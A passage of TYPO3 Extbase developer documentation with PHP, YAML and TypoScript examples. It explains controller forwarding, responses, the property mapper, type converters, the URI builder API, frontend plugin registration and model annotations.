
In the following example, if the current blog is not found in the index action of the PostController, we follow to the list of blogs displayed by the indexAction of the BlogController.

Class T3docs\BlogExample\Controller\PostController
use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Core\Pagination\SimplePagination;
use TYPO3\CMS\Extbase\Http\ForwardResponse;
use TYPO3\CMS\Extbase\Pagination\QueryResultPaginator;

class PostController extends AbstractController
{
    /**
     * Displays a list of posts. If $tag is set only posts matching this tag are shown
     */
    public function indexAction(
        ?Blog $blog = null,
        string $tag = '',
        int $currentPage = 1,
    ): ResponseInterface {
        if ($blog == null) {
            return (new ForwardResponse('index'))
                ->withControllerName('Blog')
                ->withExtensionName('blog_example')
                ->withArguments(['currentPage' => $currentPage]);
        }
        $this->blogPageTitleProvider->setTitle($blog->getTitle());
        if (empty($tag)) {
            $posts = $this->postRepository->findBy(['blog' => $blog]);
        } else {
            $tag = urldecode($tag);
            $posts = $this->postRepository->findByTagAndBlog($tag, $blog);
            $this->view->assign('tag', $tag);
        }
        $paginator = new QueryResultPaginator(
            $posts,
            $currentPage,
            (int)($this->settings['itemsPerPage'] ?? 3),
        );
        $pagination = new SimplePagination($paginator);
        $this->view->assignMultiple([
            'paginator' => $paginator,
            'pagination' => $pagination,
            'pages' => range(1, $pagination->getLastPageNumber()),
            'blog' => $blog,
            'posts' => $posts,
        ]);
        return $this->htmlResponse();
    }
}
Copied!

Forwards only work when the target controller and action is properly registered as an allowed pair. This can be done via an extension's ext_localconf.php file in the relevant ExtensionUtility::configurePlugin() section, or by filling the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['extbase']['extensions'] array and tt_content.(pluginSignature) TypoScript. Otherwise, the object class name of your target controller cannot be resolved properly, and container instantiation will fail.

The corresponding example is:

EXT:blog_example/ext_localconf.php
<?php
defined('TYPO3') or die();

use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
use FriendsOfTYPO3\BlogExample\Controller\PostController;
use FriendsOfTYPO3\BlogExample\Controller\CommentController;

ExtensionUtility::configurePlugin(
   'BlogExample',
   'PostSingle',
   [PostController::class => 'show', CommentController::class => 'create'],
   [CommentController::class => 'create']
);
Copied!

Here, the plugin BlogExample would allow jumping between the controllers PostController and CommentController. To also allow BlogController in the example above, it would need to get added like this:

EXT:blog_example/ext_localconf.php (Excerpt)
<?php

defined('TYPO3') or die();

use T3docs\BlogExample\Controller\BlogController;
use T3docs\BlogExample\Controller\CommentController;
use T3docs\BlogExample\Controller\PostController;
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

ExtensionUtility::configurePlugin(
    'BlogExample',
    'PostSingle',
    [
        PostController::class => 'show',
        CommentController::class => 'create',
        BlogController::class => 'index',
    ],
    [
        // Non-cached actions
        CommentController::class => 'create',
    ],
);

// ...
Copied!

Stop further processing in a controller's action

Sometimes you may want to use an Extbase controller action to return a specific output, and then stop the whole request flow.

For example, a downloadAction() might provide some binary data, and should then stop.

By default, Extbase actions need to return an object of type \Psr\Http\Message\ResponseInterface as described above. The actions are chained into the TYPO3 request flow (via the page renderer), so the returned object will be enriched by further processing of TYPO3. Most importantly, the usual layout of your website will be surrounded by your Extbase action's returned contents, and other plugin outputs may come before and after that.

In a download action, this would be unwanted content. To prevent that from happening, you have multiple options. While you might think placing a die() or exit() after your download action processing is a good way, it is not very clean.

The recommended way to deal with this, is to use a PSR-15 middleware implementation. This is more performant, because all other request workflows do not even need to be executed, because no other plugin on the same page needs to be rendered. You would refactor your code so that downloadAction() is not executed (e.g. via <f:form.action>), but instead point to your middleware routing URI, let the middleware properly create output, and finally stop its processing by a concrete \Psr\Http\Message\ResponseFactoryInterface result object, as described in the Middleware chapters.

If there are still reasons for you to utilize Extbase for this, you can use a special method to stop the request workflow. In such a case a \TYPO3\CMS\Core\Http\PropagateResponseException can be thrown. This is automatically caught by a PSR-15 middleware and the given PSR-7 response is then returned directly.

Example:

EXT:my_extension/Classes/Controller/MyController.php
<?php

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Http\PropagateResponseException;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function downloadAction(): ResponseInterface
    {
        // ... do something (set $filename, $filePath, ...)

        $response = $this->responseFactory->createResponse()
            // Must not be cached by a shared cache, such as a proxy server
            ->withHeader('Cache-Control', 'private')
            // Should be downloaded with the given filename
            ->withHeader('Content-Disposition', sprintf('attachment; filename="%s"', $filename))
            ->withHeader('Content-Length', (string)filesize($filePath))
            // It is a PDF file we provide as a download
            ->withHeader('Content-Type', 'application/pdf')
            ->withBody($this->streamFactory->createStreamFromFile($filePath));

        throw new PropagateResponseException($response, 200);
    }
}
Copied!

Also, if your controller needs to perform a redirect to a defined URI (internal or external), you can return a specific object through the responseFactory:

EXT:my_extension/Classes/Controller/MyController.php
<?php

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function redirectAction(): ResponseInterface
    {
        // ... do something (set $value, ...)

        $uri = $this->uriBuilder->uriFor('show', ['parameter' => $value]);

        // $uri could also be https://example.com/any/uri
        // $this->resourceFactory is injected as part of the `ActionController` inheritance
        return $this->responseFactory->createResponse(307)
            ->withHeader('Location', $uri);
    }
}
Copied!

Events

Two PSR-14 events are available:

Error action

Extbase offers an out of the box handling for errors. Errors might occur during the mapping of incoming action arguments. For example, an argument can not be mapped or validation did not pass.

How it works

  1. Extbase will try to map all arguments within ActionController. During this process arguments will also be validated.
  2. If an error occurred, the class will call the $this->errorMethodName instead of determined $this->actionMethodName.
  3. The default is to call errorAction() which will:

    1. Clear cache in case persistence.enableAutomaticCacheClearing is activated and current scope is frontend.
    2. Add an error Flash Message by calling addErrorFlashMessage(). It will in turn call getErrorFlashMessage() to retrieve the message to show.
    3. Return the user to the referring request URL. If no referrer exists, a plain text message will be displayed, fetched from getFlattenedValidationErrorMessage().

Extbase property mapper

Extbase provides a property mapper to convert different values, like integers or arrays, to other types, like strings or objects.

In this example, we provide a string that will be converted to an integer:

Class T3docs\BlogExample\Controller\PostController
use TYPO3\CMS\Extbase\Property\Exception;

class PostController extends AbstractController
{
    /**
     * This method demonstrates property mapping to an integer
     * @throws Exception
     */
    protected function mapIntegerFromString(string $numberString = '42'): int
    {
        return $output = $this->propertyMapper->convert($numberString, 'integer');
    }
}
Copied!

Conversion is done by using the TYPO3\CMS\Extbase\Property\PropertyMapper::convert() method.

How to use property mappers

This example shows a simple conversion of a string into a model:

Class T3docs\BlogExample\Controller\PostController
use T3docs\BlogExample\Domain\Model\Tag;
use TYPO3\CMS\Extbase\Property\Exception;

class PostController extends AbstractController
{
    /**
     * This method demonstrates property mapping to an object
     * @throws Exception
     */
    protected function mapTagFromString(string $tagString = 'some tag'): Tag
    {
        $input = [
            'name' => $tagString,
        ];
        return $this->propertyMapper->convert(
            $input,
            Tag::class,
        );
    }
}
Copied!

The result is a new instance of \FriendsOfTYPO3\BlogExample\Domain\Model\Tag with defined property name.

Type converters

Type converters are commonly used when it is necessary to convert from one type into another. They are usually applied in the Extbase controller in the initialize<actionName>Action() method.

For example a date might be given as string in some language, "October 7th, 2022" or as UNIX time stamp: 1665159559. Your action method, however, expects a \DateTime object. Extbase tries to match the data coming from the frontend automatically.

When matching the data formats is expected to fail you can use one of the type converters provided by Extbase or implement a type converter yourself by implementing the interface \TYPO3\CMS\Extbase\Property\TypeConverterInterface .

You can find the type converters provided by Extbase in the directory EXT:extbase/Classes/Property/TypeConverter.

Custom type converters

A custom type converter must implement the interface \TYPO3\CMS\Extbase\Property\TypeConverterInterface . In most use cases it will extend the abstract class \TYPO3\CMS\Extbase\Property\TypeConverter\AbstractTypeConverter , which already implements this interface.

All type converters should have no internal state, such that they can be used as singletons and multiple times in succession.

The registration and configuration of a type converter is done in the extension's Services.yaml:

EXT:my_extension/Configuration/Services.yaml
services:
  MyVendor\MyExtension\Property\TypeConverter\MyCustomDateTimeConverter:
    tags:
      - name: extbase.type_converter
        priority: 10
        target: \DateTime
        sources: int,string
Copied!

For conversions of Extbase controller action parameters into Extbase domain model objects the incoming data is usually a numeric type, but in case of an update action it might as well be an array containing its ID as property __identifier.

Thus the configuration should list array as one of its sources:

EXT:my_extension/Configuration/Services.yaml
services:
  MyVendor\MyExtension\Property\TypeConverter\MyCustomModelObjectConverter:
    tags:
      - name: extbase.type_converter
        priority: 10
        target: MyVendor\MyExtension\Domain\Model\MyCustomModel
        sources: int,string,array
Copied!

Extbase view

The result of an action or a chain of actions is usually a view where output, most often as HTML is displayed to the user.

The action, located in the controller returns a ResponseInterface ( \Psr\Http\Message\ResponseInterface ) which contains the result of the view. The view, property $view of type ViewInterface ( \TYPO3Fluid\Fluid\View\ViewInterface ).

In the most common case it is sufficient to just set some variables on the $view and return $this->htmlResponse():

Class T3docs\BlogExample\Controller\BlogController
use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     */
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        $this->view->assignMultiple([
            'newBlog' => $newBlog,
            'administrators' => $this->administratorRepository->findAll(),
        ]);
        return $this->htmlResponse();
    }
}
Copied!

Read more in the section Responses.

View configuration

The view can be configured with TypoScript:

EXT:blog_example/Configuration/TypoScript/setup.typoscript
plugin.tx_blogexample {
  view {
    templateRootPaths.10 = {$plugin.tx_blogexample.view.templateRootPath}
    partialRootPaths.10 = {$plugin.tx_blogexample.view.partialRootPath}
    layoutRootPaths.10 = {$plugin.tx_blogexample.view.layoutRootPath}
    defaultPid = auto
  }
}
Copied!

Responses

HTML response

In the most common case it is sufficient to just set some variables on the $view and return $this->htmlResponse(). The Fluid templates will then configure the rendering:

Class T3docs\BlogExample\Controller\BlogController
use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     */
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        $this->view->assignMultiple([
            'newBlog' => $newBlog,
            'administrators' => $this->administratorRepository->findAll(),
        ]);
        return $this->htmlResponse();
    }
}
Copied!

It is also possible to directly pass a HTML string to the function htmlResponse(). This way other templating engines but Fluid can be used:

Class T3docs\BlogExample\Controller\BlogController
use Psr\Http\Message\ResponseInterface;

class BlogController extends AbstractController
{
    /**
     * Output <h1>Hello World!</h1>
     */
    public function helloWorldAction(): ResponseInterface
    {
        return $this->htmlResponse('<h1>Hello World!</h1>');
    }
}
Copied!

JSON response

Similar to the method $this->htmlResponse() there is a method $this->jsonResponse(). In case you are using it you have to make sure the view renders valid JSON.

Rendering JSON by Fluid is in most cases not a good option. Fluid uses special signs that are needed in JSON etc. So in most cases the jsonResponse() is used to directly output a json string:

Class T3docs\BlogExample\Controller\BlogController
use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;

class BlogController extends AbstractController
{
    public function showBlogAjaxAction(Blog $blog): ResponseInterface
    {
        $jsonOutput = json_encode($blog);
        return $this->jsonResponse($jsonOutput);
    }
}
Copied!

It is also possible to use the JSON response together with a special view class the JsonView ( \TYPO3\CMS\Extbase\Mvc\View\JsonView ).

Response in a different format

If you need any output format but HTML or JSON, build the response object using $responseFactory implementing the ResponseFactoryInterface:

Class T3docs\BlogExample\Controller\PostController
use Psr\Http\Message\ResponseInterface;

class PostController extends AbstractController
{
    /**
     * Displays a list of posts as RSS feed
     */
    public function displayRssListAction(): ResponseInterface
    {
        $defaultBlog = $this->settings['defaultBlog'] ?? 0;
        if ($defaultBlog > 0) {
            $blog = $this->blogRepository->findByUid((int)$defaultBlog);
        } else {
            $blog = $this->blogRepository->findAll()->getFirst();
        }
        $this->view->assign('blog', $blog);
        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'text/xml; charset=utf-8')
            ->withBody($this->streamFactory->createStream($this->view->render()));
    }
}
Copied!

URI builder (Extbase)

The URI builder offers a convenient way to create links in an Extbase context.

Usage in an Extbase controller

The URI builder is available as a property in a controller class which extends the Extending the ActionController class. The request context is automatically available to the UriBuilder.

Example:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller\MyController;

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function myAction(): ResponseInterface
    {
        $url = $this->uriBuilder
            ->reset()
            ->setTargetPageUid(42)
            ->uriFor(
                'another', // only action name, not `myAction`
                [
                    'myRecord' => 21,
                ],
                'My', // only controller name, not `MyController`
                'myextension',
                'myplugin',
            );

        // do something with $url
    }
}
Copied!

Have a look into the API for the available methods of the URI builder.

Usage in another context

The class \TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder can be injected via constructor in a class:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Extbase\Mvc\ExtbaseRequestParameters;
use TYPO3\CMS\Extbase\Mvc\Request;
use TYPO3\CMS\Extbase\Mvc\RequestInterface;
use TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder;

final class MyClass
{
    public function __construct(
        private readonly UriBuilder $uriBuilder,
    ) {}

    public function doSomething()
    {
        $this->uriBuilder->setRequest($this->getExtbaseRequest());

        $url = $this->uriBuilder
            ->reset()
            ->setTargetPageUid(42)
            ->uriFor(
                'my', // only action name, not `myAction`
                [
                    'myRecord' => 21,
                ],
                'My', // only controller name, not `MyController`
                'myextension',
                'myplugin',
            );

        // do something with $url
    }

    private function getExtbaseRequest(): RequestInterface
    {
        /** @var ServerRequestInterface $request */
        $request = $GLOBALS['TYPO3_REQUEST'];

        // We have to provide an Extbase request object
        return new Request(
            $request->withAttribute('extbase', new ExtbaseRequestParameters()),
        );
    }
}
Copied!

Setting the request object before first usage is mandatory.

Example in Fluid ViewHelper

EXT:my_extension/Classes/ViewHelper/MyLinkViewHelper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller\MyController;

use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

final class MyLinkViewHelper extends AbstractViewHelper
{
    public function __construct(private UriBuilder $uriBuilder) {}

    public function render(): string
    {
        if ($this->renderingContext->hasAttribute(ServerRequestInterface::class)) {
            // TYPO3 v13+ compatibility
            $request = $this->renderingContext->getAttribute(ServerRequestInterface::class);
        } else {
            throw new \RuntimeException(
                'The rendering context of this ViewHelper is missing a valid request object, probably because it is used outside of Extbase context.',
                1730537505,
            );
        }

        // Request context is needed before $this->uriBuilder is first used for returning links.
        // Note: this will not be reset on calling $this->uriBuilder->reset()!
        $this->uriBuilder->setRequest($request);

        $url = $this->uriBuilder
            ->reset()
            ->setTargetPageUid(2751)
            ->uriFor(
                'another', // only action name, not `myAction`
                [
                    'myRecord' => 21,
                ],
                'My', // only controller name, not `MyController`
                'myextension',
                'myplugin',
            );

        // do something with $url, for example:
        return 'Link: ' . $url . '</a>';
    }
}
Copied!

API

class UriBuilder
Fully qualified name
\TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder

URI Builder for extbase requests.

setRequest ( \TYPO3\CMS\Extbase\Mvc\RequestInterface $request)

Sets the current request

param $request

the request

Return description

The current UriBuilder to allow method chaining

Returns
static
setArguments ( array $arguments)

Additional query parameters.

If you want to "prefix" arguments, you can pass in multidimensional arrays: array('prefix1' => array('foo' => 'bar')) gets "&prefix1[foo]=bar"

param $arguments

the arguments

Return description

The current UriBuilder to allow method chaining

Returns
static
setSection ( string $section)

If specified, adds a given HTML anchor to the URI (#...)

param $section

the section

Return description

The current UriBuilder to allow method chaining

Returns
static
setFormat ( string $format)

Specifies the format of the target (e.g. "html" or "xml")

param $format

the format

Return description

The current UriBuilder to allow method chaining

Returns
static
setCreateAbsoluteUri ( bool $createAbsoluteUri)

If set, the URI is prepended with the current base URI. Defaults to FALSE.

param $createAbsoluteUri

the createAbsoluteUri

Return description

The current UriBuilder to allow method chaining

Returns
static
setAbsoluteUriScheme ( string $absoluteUriScheme)

Sets the scheme that should be used for absolute URIs in FE mode

param $absoluteUriScheme

the scheme to be used for absolute URIs

Return description

The current UriBuilder to allow method chaining

Returns
static
setLanguage ( ?string $language)

Enforces a URI / link to a page to a specific language (or use "current")

param $language

the language

Returns
\TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder
setAddQueryString ( string|int|bool $addQueryString)

If set, the current query parameters will be merged with $this->arguments in backend context.

In frontend context, setting this property will only include mapped query arguments from the Page Routing. To include any - possible "unsafe" - GET parameters, the property has to be set to "untrusted". Defaults to FALSE.

param $addQueryString

is set to "1", "true", "0", "false" or "untrusted"

Return description

The current UriBuilder to allow method chaining

Returns
static
setArgumentsToBeExcludedFromQueryString ( array $argumentsToBeExcludedFromQueryString)

A list of arguments to be excluded from the query parameters Only active if addQueryString is set

param $argumentsToBeExcludedFromQueryString

the argumentsToBeExcludedFromQueryString

Return description

The current UriBuilder to allow method chaining

Returns
static
setArgumentPrefix ( string $argumentPrefix)

Specifies the prefix to be used for all arguments.

param $argumentPrefix

the argumentPrefix

Return description

The current UriBuilder to allow method chaining

Returns
static
setLinkAccessRestrictedPages ( bool $linkAccessRestrictedPages)

If set, URIs for pages without access permissions will be created

param $linkAccessRestrictedPages

the linkAccessRestrictedPages

Return description

The current UriBuilder to allow method chaining

Returns
static
setTargetPageUid ( int $targetPageUid)

Uid of the target page

param $targetPageUid

the targetPageUid

Return description

The current UriBuilder to allow method chaining

Returns
static
setTargetPageType ( int $targetPageType)

Sets the page type of the target URI. Defaults to 0

param $targetPageType

the targetPageType

Return description

The current UriBuilder to allow method chaining

Returns
static
setNoCache ( bool $noCache)

by default FALSE; if TRUE, &no_cache=1 will be appended to the URI

param $noCache

the noCache

Return description

The current UriBuilder to allow method chaining

Returns
static
reset ( )

Resets all UriBuilder options to their default value

Return description

The current UriBuilder to allow method chaining

Returns
static
uriFor ( ?string $actionName = NULL, ?array $controllerArguments = NULL, ?string $controllerName = NULL, ?string $extensionName = NULL, ?string $pluginName = NULL)

Creates a URI used for linking to an Extbase action.

Works in Frontend and Backend mode of TYPO3.

param $actionName

Name of the action to be called, default: NULL

param $controllerArguments

Additional query parameters. Will be "namespaced" and merged with $this->arguments., default: NULL

param $controllerName

Name of the target controller. If not set, current ControllerName is used., default: NULL

param $extensionName

Name of the target extension, without underscores. If not set, current ExtensionName is used., default: NULL

param $pluginName

Name of the target plugin. If not set, current PluginName is used., default: NULL

Return description

The rendered URI

Returns
string
build ( )

Builds the URI Depending on the current context this calls buildBackendUri() or buildFrontendUri()

Return description

The URI

Returns
string

Registration of frontend plugins

When you want to use Extbase controllers in the frontend you need to define a so called frontend plugin. Extbase allows to define multiple frontend plugins for different use cases within one extension.

A frontend plugin can be defined as content element or as pure TypoScript frontend plugin.

Content element plugins can be added by editors to pages in the Page module while TypoScript frontend plugin can only be added via TypoScript or Fluid in a predefined position of the page. All content element plugins can also be used as TypoScript plugin.

Frontend plugin as content element

The plugins in the New Content Element wizard

Use the following steps to add the plugin as content element:

  1. configurePlugin(): Make the plugin available in the frontend

    EXT:blog_example/ext_localconf.php
    <?php
    
    declare(strict_types=1);
    
    use FriendsOfTYPO3\BlogExample\Controller\CommentController;
    use FriendsOfTYPO3\BlogExample\Controller\PostController;
    use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
    
    defined('TYPO3') or die();
    
    ExtensionUtility::configurePlugin(
        // extension name, matching the PHP namespaces (but without the vendor)
        'BlogExample',
        // arbitrary, but unique plugin name (not visible in the backend)
        'PostSingle',
        // all actions
        [PostController::class => 'show', CommentController::class => 'create'],
        // non-cacheable actions
        [CommentController::class => 'create'],
        ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,
    );
    
    Copied!

    Use the following parameters:

    1. Extension key 'blog_example' or name BlogExample.
    2. A unique identifier for your plugin in UpperCamelCase: 'PostSingle'
    3. An array of allowed combinations of controllers and actions stored in an array
    4. (Optional) an array of controller name and action names which should not be cached
    5. Using any value but ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT is deprecated in TYPO3 v13.4.

    Deprecated since version 13.4

    TYPO3\CMS\Extbase\Utility\ExtensionUtility::configurePlugin() generates the necessary TypoScript to display the plugin in the frontend.

    In the above example the actions show in the PostController and create in the CommentController are allowed. The later action should not be cached. This action can show different output depending on whether a comment was just added, there was an error in the input etc. Therefore the output of the action create of the CommentController should not be cached.

    The action delete of the CommentController is not listed. This action is therefore not allowed in this plugin.

    The TypoScript of the plugin will be available at tt_content.blogexample_postsingle. Additionally the lists of allowed and non-cacheable actions have been added to the according global variables.

  2. registerPlugin(): Add the plugin as option to the field "Type" of the content element (column CType of table tt_content).

    This makes the plugin available in the field Type of the content elements and automatically registers it for the New Content Element Wizard.

    Changed in version 13.0

    EXT:blog_example/Configuration/TCA/Overrides/tt_content.php
    <?php
    
    use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
    
    defined('TYPO3') or die();
    
    (static function (): void {
        $pluginKey = ExtensionUtility::registerPlugin(
            // extension name, matching the PHP namespaces (but without the vendor)
            'BlogExample',
            // arbitrary, but unique plugin name (not visible in the backend)
            'PostSingle',
            // plugin title, as visible in the drop-down in the backend, use "LLL:" for localization
            'Single Post (BlogExample)',
            // plugin icon, use an icon identifier from the icon registry
            'my-icon',
            // plugin group, to define where the new plugin will be located in
            'default',
            // plugin description, as visible in the new content element wizard
            'My plugin description',
        );
    })();
    
    Copied!

    Use the following parameters:

    1. Extension key 'blog_example' or name BlogExample.
    2. A unique identifier for your plugin in UpperCamelCase: 'PostSingle', must be the same as used in configurePlugin() or the plugin will not render.
    3. Plugin title in the backend: Can be a string or a localized string starting with LLL:.
    4. (Optional) the icon identifier or file path prepended with "EXT:"

Frontend plugin as pure TypoScript

  1. configurePlugin(): Make the plugin available in the frontend

    Configure the plugin just like described in Frontend plugin as content element. This will create the basic TypoScript and the lists of allowed controller-action combinations.

    In this example we define a plugin displaying a list of posts as RSS feed:

    EXT:blog_example/ext_localconf.php
    <?php
    
    declare(strict_types=1);
    
    use FriendsOfTYPO3\BlogExample\Controller\PostController;
    use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
    
    defined('TYPO3') or die();
    
    // RSS feed
    ExtensionUtility::configurePlugin(
        'BlogExample',
        'PostListRss',
        [PostController::class => 'displayRssList'],
        [],
        ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,
    );
    
    Copied!
  2. Display the plugin via TypoScript

    The TypoScript EXTBASEPLUGIN object saved at tt_content.blogexample_postlistrss can now be used to display the frontend plugin. In this example we create a special page type for the RSS feed and display the plugin via TypoScript there:

    EXT:blog_example/Configuration/TypoScript/RssFeed/setup.typoscript
    # RSS rendering
    tx_blogexample_rss = PAGE
    tx_blogexample_rss {
      typeNum = {$plugin.tx_blogexample.settings.rssPageType}
      10 < tt_content.blogexample_postlistrss
    
      config {
        disableAllHeaderCode = 1
        xhtml_cleaning = none
        admPanel = 0
        debug = 0
        disablePrefixComment = 1
        metaCharset = utf-8
        additionalHeaders.10.header = Content-Type:application/rss+xml;charset=utf-8
        linkVars >
      }
    }
    
    Copied!

TypoScript configuration

Each Extbase extension has some settings which can be modified using TypoScript. Many of these settings affect aspects of the internal configuration of Extbase and Fluid. There is also a block settings in which you can set extension specific settings that can be accessed in the controllers and Fluid templates of your extension.

TypoScript for all frontend plugins can be set in the typoscript block plugin.tx_[lowercasedextensionname], for example plugin.tx_blogexample.

TypoScript for a specific frontend plugin can be set in the typoscript block plugin.tx_[lowercasedextensionname]_[pluginname], for example plugin.tx_blogexample_postsingle. Settings made here override settings from plugin.tx_blogexample.

TypoScript for all backend modules can be set in module.tx_[lowercasedextensionname], for example module.tx_blogexample, for a specific backend module in module.tx_<lowercaseextensionname>_<lowercasepluginname>.

For details of the available configuration values see plugin in the TypoScript Reference.

Plugin configuration

EXT:blog_example/Configuration/TypoScript/setup.typoscript
plugin.tx_blogexample {
    settings {
        postsPerPage = 3
    }
}
Copied!

In the controller use $this->settings['postsPerPage'] to access the TypoScript setting.

Annotations in Extbase

All available annotations for Extbase delivered by TYPO3 Core are placed within the namespace \TYPO3\CMS\Extbase\Annotation.

Example in EXT:blog_example for the annotation Lazy:

EXT:blog_example/Classes/Domain/Model/Blog.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    /**
     * @var ObjectStorage<Post>
     */
    #[Lazy()]
    public ObjectStorage $relatedPosts;
}
Copied!

Annotations provided by Extbase

The following annotations are provided Extbase:

Validate

\TYPO3\CMS\Extbase\Annotation\Validate : Allows to configure validators for properties and method arguments. See Using validation for Extbase models and controllers for details.

Can be used in the context of a model property.

Example:

EXT:blog_example/Classes/Domain/Model/Blog.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Blog extends AbstractEntity
{
    #[Validate([
        'validator' => 'StringLength',
        'options' => ['maximum' => 150],
    ])]
    public string $description = '';

    /**
     * Use annotations instead for compatibility with TYPO3 v11:
     *
     * @Validate("StringLength", options={"maximum": 150})
     */
    public string $description2 = '';
}
Copied!

Validate annotations for a controller action are executed additionally to possible domain model validators.

IgnoreValidation

\TYPO3\CMS\Extbase\Annotation\IgnoreValidation(): Allows to ignore all Extbase default validations for a given argument (for example a domain model object).

Used in context of a controller action.

Example:

EXT:blog_example/Classes/Controller/BlogController.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Controller;

use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Extbase\Annotation\IgnoreValidation;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class BlogController extends ActionController
{
    #[IgnoreValidation(['argumentName' => 'newBlog'])]
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        // Do something
        return $this->htmlResponse();
    }

    /**
     * Use annotations instead for compatibility with TYPO3 v11:
     * @IgnoreValidation("newBlog")
     */
    public function newAction2(?Blog $newBlog = null): ResponseInterface
    {
        // Do something
        return $this->htmlResponse();
    }
}
Copied!

You can not exclude specific properties of a object specified in an argument.

If you need to exclude certain validators of a domain model, you could adapt the concept of a "Data Transfer Object" (DTO). You would create a distinct model variant of the main domain model, and exclude all the properties that you do not want validation for in your Extbase context, and transport the contents from and between your original domain model to this instance. Read more about this on https://usetypo3.com/dtos-in-extbase/ or see a CRUD example for this on https://github.com/garvinhicking/gh_validationdummy/

ORM (object relational model) annotations

The following annotations can only be used on model properties:

Cascade

\TYPO3\CMS\Extbase\Annotation\ORM\Cascade("remove"): Allows to remove child entities during deletion of aggregate root.

Extbase only supports the option "remove".

Example:

EXT:blog_example/Classes/Domain/Model/Blog.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

final class Blog extends AbstractEntity
{
    /**
     * @var ObjectStorage<Post>
     */
    #[Cascade(['value' => 'remove'])]
    public $posts;

    /**
     * Use annotations instead for compatibility with TYPO3 v11:
     *
     * @var ObjectStorage<Post>
     * @Cascade("remove")
     */
    public $posts2;
}
Copied!

Transient

\TYPO3\CMS\Extbase\Annotation\ORM\Transient : Marks property as transient (not persisted).

Example:

EXT:blog_example/Classes/Domain/Model/Post.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\ORM\Transient;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

final class Person extends AbstractEntity
{
    #[Transient()]
    protected string $fullname = '';

    /**
     * Use annotations instead for compatibility with TYPO3 v11:
     * @Transient
     */
    protected string $fullname2 = '';
}
Copied!

Lazy

\TYPO3\CMS\Extbase\Annotation\ORM\Lazy : Marks model property to be loaded lazily on first access.

Example:

EXT:blog_example/Classes/Domain/Model/Post.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    /**
     * @var ObjectStorage<Post>
     */
    #[Lazy()]
    public ObjectStorage $relatedPosts;
}
Copied!

Combining annotations

Annotations can be combined. For example, "lazy loading" and "removal on cascade" are frequently combined:

EXT:blog_example/Classes/Domain/Model/Post.php, modified
<?php

declare(strict_types=1);

namespace T3docs\BlogExample\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\ORM\Cascade;
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity
{
    #[Lazy()]
    #[Cascade(['value' => 'remove'])]
    /**
     * @var ObjectStorage<Comment>
     */
    public ObjectStorage $comments;
}
Copied!

Several validations can also be combined. See Using validation for Extbase models and controllers for details.

Using validation for Extbase models and controllers

